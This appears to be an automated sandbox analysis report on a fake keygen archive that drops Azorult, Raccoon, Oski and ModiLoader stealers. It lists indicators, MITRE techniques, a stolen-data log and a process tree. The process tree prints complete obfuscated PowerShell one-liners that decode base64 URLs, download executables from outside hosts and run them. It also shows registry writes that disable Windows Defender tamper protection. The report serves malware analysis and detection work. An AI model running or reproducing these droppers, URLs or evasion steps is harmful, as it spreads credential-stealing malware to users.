azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
48s
max time network
157s
platform
windows10_x64
resource
win10
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (81) — копия.exe

Score

10^/10

azorult modiloader oski raccoon discovery evasion infostealer ransomware spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Path

C:\Users\Admin\AppData\LocalLow\machineinfo.txt

Family

raccoon

Ransom Note

[Raccoon Stealer] - v1.5.13-af-hotfix Release Build compiled on Mon Jul 6 14:33:02 2020 Launched at: 2020.10.02 - 03:11:33 GMT Bot_ID: 664A9041-4AC4-46F3-B3DC-87DB4D57890E_Admin Running on a desktop =R=A=C=C=O=O=N= - Cookies: 0 - Passwords: 5 - Files: 0 System Information: - System Language: English - System TimeZone: -0 hrs - IP: 154.61.71.51 - Location: 37.750999, -97.821999 | ?, ?, United States (?) - ComputerName: GOHCSFBB - Username: Admin - Windows version: NT 10.0 - Product name: Windows 10 Pro - System arch: x64 - CPU: Persocon Processor 2.5+ (2 cores) - RAM: 4095 MB (838 MB used) - Screen resolution: 1280x720 - Display devices: 0) Microsoft Basic Display Adapter ============

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Contains code to disable Windows Defender 3 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral294/memory/5112-309-0x000000000BA00000-0x000000000BA03000-memory.dmp	disable_win_def
C:\Windows\Temp\a1funyau.exe	disable_win_def
C:\Windows\temp\a1funyau.exe	disable_win_def

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Raccoon log file 1 IoCs
Detects a log file produced by the Raccoon Stealer.

Processes:

yara_rule

raccoon_log_file

yara_rule
raccoon_log_file

ModiLoader First Stage 1 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\JLKIUVDEUq.exe	modiloader_stage1

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

8 4004 powershell.exe
10 2216 powershell.exe
13 2216 powershell.exe
14 4376 powershell.exe
17 4004 powershell.exe
28 4376 powershell.exe
Downloads MZ/PE file

flow	pid	process
8	4004	powershell.exe
10	2216	powershell.exe
13	2216	powershell.exe
14	4376	powershell.exe
17	4004	powershell.exe
28	4376	powershell.exe

Executes dropped EXE 29 IoCs

Processes:

Keygen.exefsl.exemkj.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exemkj.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exefsl.exefsl.exehgfnmbasdo.exeiaz.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeiaz.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exehgfnmbasdo.exehgfnmbasdo.exehgfnmbasdo.exehgfnmbasdo.exeaxcsdfa.exehgfnmbasdo.exeaxcsdfa.exeDSLrySZUPC.exeJLKIUVDEUq.exe8S639jOgaf.exeZN6istPkV2.exea1funyau.exe

pid	process
1828	Keygen.exe
4932	fsl.exe
4128	mkj.exe
4248	FVjhgtresfdbv.exe
4264	NHtrdsaghfDF.exe
2184	mkj.exe
4392	FVjhgtresfdbv.exe
4528	NHtrdsaghfDF.exe
4924	fsl.exe
3984	fsl.exe
3764	hgfnmbasdo.exe
576	iaz.exe
5056	FVjhgtresfdbv.exe
2960	NHtrdsaghfDF.exe
4848	iaz.exe
4008	FVjhgtresfdbv.exe
4228	NHtrdsaghfDF.exe
4252	hgfnmbasdo.exe
1824	hgfnmbasdo.exe
4672	hgfnmbasdo.exe
4564	hgfnmbasdo.exe
3156	axcsdfa.exe
4384	hgfnmbasdo.exe
2596	axcsdfa.exe
4884	DSLrySZUPC.exe
3684	JLKIUVDEUq.exe
2668	8S639jOgaf.exe
5112	ZN6istPkV2.exe
4732	a1funyau.exe

Loads dropped DLL 17 IoCs

Processes:

FVjhgtresfdbv.exeFVjhgtresfdbv.exemkj.exehgfnmbasdo.exe

pid	process
4392	FVjhgtresfdbv.exe
4392	FVjhgtresfdbv.exe
4392	FVjhgtresfdbv.exe
4008	FVjhgtresfdbv.exe
4008	FVjhgtresfdbv.exe
4008	FVjhgtresfdbv.exe
2184	mkj.exe
4384	hgfnmbasdo.exe
4384	hgfnmbasdo.exe
4384	hgfnmbasdo.exe
2184	mkj.exe
2184	mkj.exe
2184	mkj.exe
2184	mkj.exe
2184	mkj.exe
2184	mkj.exe
2184	mkj.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

ZN6istPkV2.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	ZN6istPkV2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	ZN6istPkV2.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Drops desktop.ini file(s) 1 IoCs

Processes:

mkj.exe

description ioc process

File created C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini mkj.exe

description	ioc	process
File created	C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini	mkj.exe

Suspicious use of SetThreadContext 9 IoCs

Processes:

mkj.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exefsl.exeiaz.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exehgfnmbasdo.exeaxcsdfa.exe

description	pid	process	target process
PID 4128 set thread context of 2184	4128	mkj.exe	mkj.exe
PID 4248 set thread context of 4392	4248	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4264 set thread context of 4528	4264	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4932 set thread context of 3984	4932	fsl.exe	fsl.exe
PID 576 set thread context of 4848	576	iaz.exe	iaz.exe
PID 5056 set thread context of 4008	5056	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 2960 set thread context of 4228	2960	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 3764 set thread context of 4384	3764	hgfnmbasdo.exe	hgfnmbasdo.exe
PID 3156 set thread context of 2596	3156	axcsdfa.exe	axcsdfa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

FVjhgtresfdbv.exeFVjhgtresfdbv.exehgfnmbasdo.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	hgfnmbasdo.exe

Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

2580 timeout.exe
2308 timeout.exe
4796 timeout.exe
Kills process with taskkill 4 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

5048 taskkill.exe
4492 taskkill.exe
1588 taskkill.exe
4188 taskkill.exe

pid	process
2580	timeout.exe
2308	timeout.exe
4796	timeout.exe

pid	process
5048	taskkill.exe
4492	taskkill.exe
1588	taskkill.exe
4188	taskkill.exe

Modifies registry class 3 IoCs

Processes:

cmd.exefsl.exehgfnmbasdo.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	fsl.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	hgfnmbasdo.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exefsl.exehgfnmbasdo.exe8S639jOgaf.exe

pid	process
4004	powershell.exe
396	powershell.exe
3980	powershell.exe
2216	powershell.exe
396	powershell.exe
2216	powershell.exe
4004	powershell.exe
3980	powershell.exe
3980	powershell.exe
4004	powershell.exe
2216	powershell.exe
396	powershell.exe
4376	powershell.exe
4376	powershell.exe
4556	powershell.exe
4556	powershell.exe
4376	powershell.exe
4556	powershell.exe
4376	powershell.exe
4556	powershell.exe
4932	fsl.exe
4932	fsl.exe
3764	hgfnmbasdo.exe
3764	hgfnmbasdo.exe
3764	hgfnmbasdo.exe
3764	hgfnmbasdo.exe
3764	hgfnmbasdo.exe
3764	hgfnmbasdo.exe
3764	hgfnmbasdo.exe
3764	hgfnmbasdo.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

mkj.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeiaz.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

4128 mkj.exe
4248 FVjhgtresfdbv.exe
4264 NHtrdsaghfDF.exe
576 iaz.exe
5056 FVjhgtresfdbv.exe
2960 NHtrdsaghfDF.exe

pid	process
4128	mkj.exe
4248	FVjhgtresfdbv.exe
4264	NHtrdsaghfDF.exe
576	iaz.exe
5056	FVjhgtresfdbv.exe
2960	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exefsl.exetaskkill.exehgfnmbasdo.exetaskkill.exetaskkill.exeaxcsdfa.exe8S639jOgaf.exeZN6istPkV2.exepowershell.exetaskkill.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4004	powershell.exe
Token: SeDebugPrivilege	3980	powershell.exe
Token: SeDebugPrivilege	396	powershell.exe
Token: SeDebugPrivilege	2216	powershell.exe
Token: SeDebugPrivilege	4376	powershell.exe
Token: SeDebugPrivilege	4556	powershell.exe
Token: SeDebugPrivilege	4932	fsl.exe
Token: SeDebugPrivilege	5048	taskkill.exe
Token: SeDebugPrivilege	3764	hgfnmbasdo.exe
Token: SeDebugPrivilege	4492	taskkill.exe
Token: SeDebugPrivilege	1588	taskkill.exe
Token: SeDebugPrivilege	3156	axcsdfa.exe
Token: SeDebugPrivilege	2668	8S639jOgaf.exe
Token: SeDebugPrivilege	5112	ZN6istPkV2.exe
Token: SeDebugPrivilege	1892	powershell.exe
Token: SeDebugPrivilege	4188	taskkill.exe
Token: SeDebugPrivilege	4908	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

Keygen.exemkj.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeiaz.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe8S639jOgaf.exe

pid	process
1828	Keygen.exe
4128	mkj.exe
4248	FVjhgtresfdbv.exe
4264	NHtrdsaghfDF.exe
576	iaz.exe
5056	FVjhgtresfdbv.exe
2960	NHtrdsaghfDF.exe
2668	8S639jOgaf.exe
2668	8S639jOgaf.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (81) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exemkj.exe

description	pid	process	target process
PID 3248 wrote to memory of 1252	3248	Keygen — копия (81) — копия.exe	cmd.exe
PID 3248 wrote to memory of 1252	3248	Keygen — копия (81) — копия.exe	cmd.exe
PID 3248 wrote to memory of 1252	3248	Keygen — копия (81) — копия.exe	cmd.exe
PID 1252 wrote to memory of 1828	1252	cmd.exe	Keygen.exe
PID 1252 wrote to memory of 1828	1252	cmd.exe	Keygen.exe
PID 1252 wrote to memory of 1828	1252	cmd.exe	Keygen.exe
PID 1252 wrote to memory of 2176	1252	cmd.exe	mshta.exe
PID 1252 wrote to memory of 2176	1252	cmd.exe	mshta.exe
PID 1252 wrote to memory of 2176	1252	cmd.exe	mshta.exe
PID 1252 wrote to memory of 2420	1252	cmd.exe	mshta.exe
PID 1252 wrote to memory of 2420	1252	cmd.exe	mshta.exe
PID 1252 wrote to memory of 2420	1252	cmd.exe	mshta.exe
PID 1252 wrote to memory of 2580	1252	cmd.exe	timeout.exe
PID 1252 wrote to memory of 2580	1252	cmd.exe	timeout.exe
PID 1252 wrote to memory of 2580	1252	cmd.exe	timeout.exe
PID 2176 wrote to memory of 4004	2176	mshta.exe	powershell.exe
PID 2176 wrote to memory of 4004	2176	mshta.exe	powershell.exe
PID 2176 wrote to memory of 4004	2176	mshta.exe	powershell.exe
PID 2420 wrote to memory of 3980	2420	mshta.exe	powershell.exe
PID 2420 wrote to memory of 3980	2420	mshta.exe	powershell.exe
PID 2420 wrote to memory of 3980	2420	mshta.exe	powershell.exe
PID 1252 wrote to memory of 1860	1252	cmd.exe	mshta.exe
PID 1252 wrote to memory of 1860	1252	cmd.exe	mshta.exe
PID 1252 wrote to memory of 1860	1252	cmd.exe	mshta.exe
PID 1252 wrote to memory of 4064	1252	cmd.exe	mshta.exe
PID 1252 wrote to memory of 4064	1252	cmd.exe	mshta.exe
PID 1252 wrote to memory of 4064	1252	cmd.exe	mshta.exe
PID 4064 wrote to memory of 396	4064	mshta.exe	powershell.exe
PID 4064 wrote to memory of 396	4064	mshta.exe	powershell.exe
PID 4064 wrote to memory of 396	4064	mshta.exe	powershell.exe
PID 1252 wrote to memory of 2308	1252	cmd.exe	timeout.exe
PID 1252 wrote to memory of 2308	1252	cmd.exe	timeout.exe
PID 1252 wrote to memory of 2308	1252	cmd.exe	timeout.exe
PID 1860 wrote to memory of 2216	1860	mshta.exe	powershell.exe
PID 1860 wrote to memory of 2216	1860	mshta.exe	powershell.exe
PID 1860 wrote to memory of 2216	1860	mshta.exe	powershell.exe
PID 1252 wrote to memory of 4284	1252	cmd.exe	mshta.exe
PID 1252 wrote to memory of 4284	1252	cmd.exe	mshta.exe
PID 1252 wrote to memory of 4284	1252	cmd.exe	mshta.exe
PID 4284 wrote to memory of 4376	4284	mshta.exe	powershell.exe
PID 4284 wrote to memory of 4376	4284	mshta.exe	powershell.exe
PID 4284 wrote to memory of 4376	4284	mshta.exe	powershell.exe
PID 1252 wrote to memory of 4440	1252	cmd.exe	mshta.exe
PID 1252 wrote to memory of 4440	1252	cmd.exe	mshta.exe
PID 1252 wrote to memory of 4440	1252	cmd.exe	mshta.exe
PID 4440 wrote to memory of 4556	4440	mshta.exe	powershell.exe
PID 4440 wrote to memory of 4556	4440	mshta.exe	powershell.exe
PID 4440 wrote to memory of 4556	4440	mshta.exe	powershell.exe
PID 2216 wrote to memory of 4932	2216	powershell.exe	fsl.exe
PID 2216 wrote to memory of 4932	2216	powershell.exe	fsl.exe
PID 2216 wrote to memory of 4932	2216	powershell.exe	fsl.exe
PID 4004 wrote to memory of 4128	4004	powershell.exe	mkj.exe
PID 4004 wrote to memory of 4128	4004	powershell.exe	mkj.exe
PID 4004 wrote to memory of 4128	4004	powershell.exe	mkj.exe
PID 4128 wrote to memory of 4248	4128	mkj.exe	FVjhgtresfdbv.exe
PID 4128 wrote to memory of 4248	4128	mkj.exe	FVjhgtresfdbv.exe
PID 4128 wrote to memory of 4248	4128	mkj.exe	FVjhgtresfdbv.exe
PID 4128 wrote to memory of 4264	4128	mkj.exe	NHtrdsaghfDF.exe
PID 4128 wrote to memory of 4264	4128	mkj.exe	NHtrdsaghfDF.exe
PID 4128 wrote to memory of 4264	4128	mkj.exe	NHtrdsaghfDF.exe
PID 4128 wrote to memory of 2184	4128	mkj.exe	mkj.exe
PID 4128 wrote to memory of 2184	4128	mkj.exe	mkj.exe
PID 4128 wrote to memory of 2184	4128	mkj.exe	mkj.exe
PID 4128 wrote to memory of 2184	4128	mkj.exe	mkj.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (81) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (81) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3248

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\284E.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (81) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1252

C:\Users\Admin\AppData\Local\Temp\284E.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1828

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\284E.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2176

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4004

C:\Users\Public\mkj.exe
"C:\Users\Public\mkj.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4128

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4248

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4392

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4392 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\979309134802131\\* & exit
8⤵
PID:4996

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 4392
9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5048

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4264

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4528

C:\Users\Public\mkj.exe
"C:\Users\Public\mkj.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops desktop.ini file(s)
PID:2184

C:\Users\Admin\AppData\Local\Temp\DSLrySZUPC.exe
"C:\Users\Admin\AppData\Local\Temp\DSLrySZUPC.exe"
7⤵
- Executes dropped EXE
PID:4884

C:\Users\Admin\AppData\Local\Temp\JLKIUVDEUq.exe
"C:\Users\Admin\AppData\Local\Temp\JLKIUVDEUq.exe"
7⤵
- Executes dropped EXE
PID:3684

C:\Users\Admin\AppData\Local\Temp\8S639jOgaf.exe
"C:\Users\Admin\AppData\Local\Temp\8S639jOgaf.exe"
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2668

\??\c:\windows\SysWOW64\cmstp.exe
"c:\windows\system32\cmstp.exe" /au C:\Windows\temp\nfwejnta.inf
8⤵
PID:3252

C:\Users\Admin\AppData\Local\Temp\ZN6istPkV2.exe
"C:\Users\Admin\AppData\Local\Temp\ZN6istPkV2.exe"
7⤵
- Executes dropped EXE
- Windows security modification
- Suspicious use of AdjustPrivilegeToken
PID:5112

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
8⤵
- Suspicious use of AdjustPrivilegeToken
PID:1892

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\mkj.exe"
7⤵
PID:4500

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
8⤵
- Delays execution with timeout.exe
PID:4796

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\284E.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2420

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3980

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2580

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\284E.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1860

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
